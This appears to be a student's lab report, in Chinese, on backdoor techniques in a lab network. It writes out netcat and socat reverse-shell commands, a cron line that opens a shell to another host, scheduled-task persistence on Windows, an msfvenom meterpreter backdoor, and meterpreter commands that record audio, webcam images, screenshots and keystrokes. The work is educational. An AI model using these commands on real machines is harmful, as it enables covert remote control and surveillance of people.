zoukankan      html  css  js  c++  java
  • 20155229《网络对抗技术》Exp2:后门原理与实践

    实验预习

    • 后门: 指绕过安全控制而获取对程序或系统访问权的方法。最主要目的就是方便以后再次秘密进入或者控制系统。
    • 木马与后门的区别:
      • 木马:通过欺骗用户的方法(包含捆绑,利用网页等)让用户不知不觉的安装到系统中的一类软件,主要功能有远程控制,盗密码等,具有欺骗性。
      • 区别:后门和木马的区别就是它更注重隐蔽性但是没有欺骗性,因此它的危害性没有木马大。

    实验内容

    常用后门工具

    ncat: netcat能通过TCP和UDP在网络中读写数据,通过与其他工具结合和重定向。

    • 端口扫描:

      • Win获得Linux Shell

        a. 在win下查看IP地址

        b. 使用ncat.exe程序监听本机的5229端口

        c. 在Kali下,使用nc -e命令反弹连接Win的5229端口

        d. win下获得一个linux shell,可运行任何指令,如ls

      • Linux获得Win Shell

        a. 查看kali的IP

        b. kali中使用nc指令监听5229端口

        c. 在Win下,使用ncat.exe -e命令选项反弹连接Kali主机的5229端口

        d. kali下看到Win的命令提示

    • 数据传输:

      • Win下监听5229端口
      • Kali下连接到Win的5229端口
    • 文件传输:

      • 在win中打开监听,在kali中发送文件


    Meterpreter

    1.使用netcat获取主机操作Shell,cron启动

    crontab: 用来让使用者在固定时间或固定间隔执行程序的指令。

    参数:
    -e [UserName]: 执行文字编辑器来设定时程表,内定的文字编辑器是 VI,如果你想用别的文字编辑器,则请先设定 VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)
    -r [UserName]: 删除目前的时程表
    -l [UserName]: 列出目前的时程表
    -v [UserName]:列出用户cron作业的状态
    
    
    • Win下,监听5229端口

    • crontab -e指令编辑定时任务

    • 在最后一行添加&& * * * * /bin/netcat 192.168.126.129 5229 -e /bin/sh,意思是在每个小时的第&&分钟反向连接Win主机的5229端口

    • 当时间到了&&时,此时已经获得了Kali的shell

    2.使用socat获取主机操作Shell, 任务计划启动

    socat: 可以看做netcat的加强版。
    • Win->控制面板->管理工具->任务计划程序

      • 新建任务计划

        1 .触发器:当锁定任何用户的工作站时

        2 .操作->程序或脚本:c: cat cat.exe

        3 .操作->添加参数:
        tcp-listen:5229 exec:cmd.exe,pty,stderr
        将cmd.exe绑定到端口5229,同时把cmd.exe的stderr重定
        向到stdout上

        4 .运行新建的任务

        5 .在Kali环境下输入指令socat - tcp:192.168.126.129:5229,此时已经成功获得了一个cmd shell

    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 创建后门文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.128 LPORT=5229 -f exe > 20155229_backdoor.exe

    • nc指令将后门程序传送到Win:

    • Kali中使用msfconsole指令进入msf控制台,打开监听进程,设置payload,设置反弹回连的IP和端口:


    其实我没太懂为什么输入msfconsole命令后会出现类似下图《小马宝丽》动画片里的生物,可能是设计者有一颗少女心(童心)吧。。。囧

    • 进行监听

    • 运行win中的后门程序

    4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • record_mic指令可以截获一段音频

    • webcam_snap指令可以使用摄像头进行拍照


    • screenshot指令可以进行截屏:

    • keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录


    基础问题问答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 后门在软件开发过程中被引入,发布室被忽视,在下载该软件时,自动的被安装在主机中。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    • win:新建任务触发器
    • linux:cron定时触发

    (3)Meterpreter有哪些给你映像深刻的功能?

    • 能够捕获音频,利用摄像头拍照等一些列能够获取我们隐私的操作。(可以说是日常恐慌了。。。)

    (4)如何发现自己有系统有没有被安装后门?

    • 可以使用一些杀毒软件对主机进行查杀;对防火墙、端口等设施进行检查。

    实验中遇到的问题及解决

    问题一:输入webcam_snap之后出现以下错误提示

    想起自己使用的是虚拟机win7进行的实验,所以在win7中设备查找是否有图像设备,答案是没有。然后将电脑上的摄像头连接到虚拟机中。再次执行webcam_snap该命令,虚拟机能够进行拍照。


    实验总结与体会

    本次实验在开始做之前先了解了一些相关的知识,看起来有些枯燥,但开始动手做实验后,发现了本次实验的魅力,尤其是看到了“小马宝丽”还有录音、拍照、读取击键的记录等结果后,但也觉得能够看到别人在做什么,反想到我们现在在电脑上的一举一动可能也被别人监视着就很恐慌。所以这次实验也给我提了一个很大的醒,哪怕是百度过关的软件,那也不能下载,因为不知道那上面会不会有隐藏的后门、木马等附在软件中。

  • 相关阅读:
    Linux netstat命令详解
    【转】Jenkins怎么启动和停止服务
    Jenkins权限配置失误后导致登录失败的解决办法
    Linux下查看某一进程所占用内存的方法
    Linux集群配置ntp时间同步服务
    Linux下安装MySQL数据库
    Redis集群的部署
    Linux下安装Nginx服务器
    为Linux服务器设置静态IP的方法
    vSphere Client无法连接到服务器 出现未知错误的解决方法
  • 原文地址:https://www.cnblogs.com/fyhtvxq/p/8686976.html
Copyright © 2011-2022 走看看